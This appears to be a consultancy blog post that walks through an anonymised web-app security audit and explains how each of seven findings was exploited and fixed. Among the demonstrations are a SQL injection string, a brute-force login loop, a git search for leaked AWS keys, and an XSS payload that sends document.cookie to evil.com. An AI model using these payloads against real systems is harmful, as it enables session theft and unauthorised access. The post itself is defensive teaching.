A real-world security audit walkthrough. Seven findings, three critical, all found in a system the team thought was secure. Here is what we found and how.
→ Scanning authentication flows…
→ Checking access control on API endpoints…
→ Inspecting dependency tree for CVEs…
→ Testing input validation…
→ Reviewing secrets management…
⚠ CRITICAL: Auth bypass on /api/admin/*
⚠ CRITICAL: SQL injection in search endpoint
⚠ CRITICAL: Hardcoded AWS keys in Git history
⚠ HIGH: IDOR on /api/users/:id
⚠ HIGH: XSS in profile bio field
⚠ MEDIUM: Rate limiting missing on login
⚠ LOW: Verbose error messages leak stack traces
✓ HTTPS enforced
✓ Passwords hashed with bcrypt (cost 12)
The team was confident. They had HTTPS, hashed passwords, and a CI pipeline. They had even run a dependency scanner. When they told us their system was 'pretty secure,' we believed they believed it. Then we found seven vulnerabilities — three critical enough to warrant an emergency patch within 24 hours.
This is a walkthrough of that audit. The system has been anonymised, but the findings are real. Every vulnerability we found is one we see regularly in systems built by competent teams who simply hadn't thought about security from an attacker's perspective.
The system used a middleware-based auth check. For most routes, it worked correctly. But the admin API routes were registered after the auth middleware in the Express app — meaning the middleware never ran on them. An unauthenticated request to /api/admin/users returned the full user list.
This is one of the most common critical findings we see. The framework does not warn you when middleware ordering creates a gap. The fix is simple — move the auth middleware before all route registrations — but the impact is total: full admin access without credentials.
$ curl https://app.example.com/api/admin/usersHTTP/1.1 200 OKContent-Type: application/json[{"id":1,"email":"admin@example.com","role":"superadmin"},{"id":2,"email":"user@example.com","role":"user"},... 14,832 more ...]# No auth header. No cookie. Just asked.
The search endpoint accepted a query parameter and concatenated it directly into a SQL string. The team thought they were safe because they used an ORM — but this particular query was written as a raw string for 'performance reasons.' A single quote in the search box broke the query. A more sophisticated payload could extract the entire database.
The fix: parameterised queries. Always. No exceptions. If you need raw SQL for performance, use parameterised raw queries — they are just as fast and immune to injection. There is never a reason to concatenate user input into a SQL string.
$ curl 'https://app.example.com/api/search?q=test%27%20OR%201%3D1--'# Returns all records instead of matching ones# Payload: test' OR 1=1--# The -- comments out the rest of the query# Fix: parameterised querydb.query('SELECT * FROM items WHERE name LIKE ?', [`%${q}%`])
The team had moved their secrets to environment variables months ago. But the old keys were still in the Git history — committed in a config file early in the project and never rotated. Anyone with read access to the repository (including former contractors) could extract the keys and access the production AWS account.
This is why secret rotation matters as much as secret storage. Moving a secret to a secure location does not help if the old secret is still valid and sitting in a Git commit from two years ago. The fix: rotate the keys immediately, audit all AWS access logs for unauthorised use, and use tools like git-secrets or trufflehog to prevent future commits.
$ git log --all -p -- '*.js' | grep -i 'aws_secret'commit a3f5e8d (2 years ago)- awsSecretKey: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'- awsAccessKeyId: 'AKIAIOSFODNN7EXAMPLE'# Keys still active. Full S3 access. Full RDS access.# Fix: rotate keys, scan history, add pre-commit hook
The API endpoint /api/users/:id returned user profile data for any ID, regardless of who was logged in. User 1 could view user 2's private profile by simply changing the ID in the URL. The auth middleware checked that the user was logged in — but not that they were authorised to view the requested resource.
This is called Insecure Direct Object Reference (IDOR). It is #1 on the OWASP Top 10 for a reason. Authentication is not authorisation. Every endpoint that handles a specific resource must check that the authenticated user is allowed to access that resource — not just that they are logged in.
# Logged in as user 42$ curl -H 'Authorization: Bearer <token>' \https://app.example.com/api/users/1# Returns user 1's private profile:# {"id":1,"email":"ceo@example.com","phone":"07700..."}# Fix: check ownership in the handlerif (req.user.id !== req.params.id && !req.user.isAdmin) {return res.status(403).json({ error: 'Forbidden' });}
The profile bio field accepted HTML and rendered it without sanitisation. A user could inject a script tag into their bio that would execute in every visitor's browser — including admins who viewed the profile. This means an attacker could steal admin session cookies, perform actions on behalf of the admin, or redirect them to a phishing page.
The fix: output encoding. Never render user input as HTML. If you need to allow some formatting (bold, links), use a whitelist-based sanitiser like DOMPurify — never a blacklist. And set Content-Security-Policy headers to prevent inline script execution as a defence-in-depth measure.
# Attacker sets their bio to:<script>fetch("https://evil.com/steal?c="+document.cookie)</script># When admin views the profile:# → Script executes in admin's browser# → Session cookie sent to attacker's server# → Attacker now has admin access# Fix: escape output, use DOMPurify, set CSP
The login endpoint had no rate limiting. An attacker could try thousands of password combinations per second with no lockout, no delay, and no alert. With a list of common passwords and a known email, this is a viable brute-force attack.
The fix: rate limiting at the IP level (e.g., 10 attempts per minute) and at the account level (e.g., 5 failed attempts triggers a 15-minute lockout). Use a library like express-rate-limit or a service like Cloudflare's rate limiting rules. Also implement alerting for repeated failures.
$ for pw in $(cat passwords.txt); docurl -s -X POST https://app.example.com/api/login \-d "email=admin@example.com&password=$pw"done# 10,000 attempts in 90 seconds# No lockout. No alert. No delay.# Fix: rate-limit by IP + account lockout
When the API encountered an error, it returned the full stack trace — including file paths, library versions, and sometimes database query fragments. This is not a direct vulnerability, but it gives an attacker a roadmap. Knowing that you use Express 4.18, PostgreSQL 15, and that your database table is called 'users_secure' makes targeted attacks much easier.
The fix: in production, return a generic error message with a correlation ID. Log the full error server-side. Never send stack traces to the client. Most frameworks have a 'trust proxy' and 'show errors' setting — make sure both are configured correctly for production.
$ curl https://app.example.com/api/search?q=HTTP/1.1 500 Internal Server Error{"error": "TypeError: Cannot read property 'split' of null""stack": "at SearchController.handle (/app/src/controllers/search.js:47:18)at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)","query": "SELECT * FROM users_secure WHERE name LIKE '%null%'}"# Fix: generic error + correlation ID{"error":"Internal error","id":"req_abc123"}
Despite the findings, this team had done several things correctly. They had HTTPS enforced everywhere. Passwords were hashed with bcrypt at a reasonable cost factor. They had a CI pipeline. They had moved secrets to environment variables (even if they forgot to rotate the old ones). These are foundations that many teams do not have.
The problem was not incompetence — it was a lack of adversarial thinking. The team built the system from the perspective of a developer making features work. They did not think about how an attacker would try to break those features. That is the value of a security audit: someone who looks at your system the way an attacker would.
Every finding in this audit maps to a common pattern. Here is what every team should take away:
You do not need a security team to implement these. You need a checklist and the discipline to run through it before every release. If you want a professional review with detailed findings, prioritised recommendations, and a remediation roadmap — that is exactly what our security audit service does.
The team in this story fixed all seven findings within two weeks. The three criticals were patched within 24 hours. They added automated tests for auth bypass and IDOR to their CI pipeline. Six months later, we re-audited the system and found zero criticals. That is the goal: not perfection, but continuous improvement.
Most systems work fine at current load. The question is whether they will work at 10x. Here are the five warning signs we look for in every architecture review.
20 Aug 2026Everyone asks this question. The answer is not "it depends" — it is "start with a modular monolith and extract services when you have a reason to." Here is why.
10 Aug 2026We apply the same rigour to real client engagements. Architecture reviews, security audits, and stack recommendations — all fixed-price, all actionable.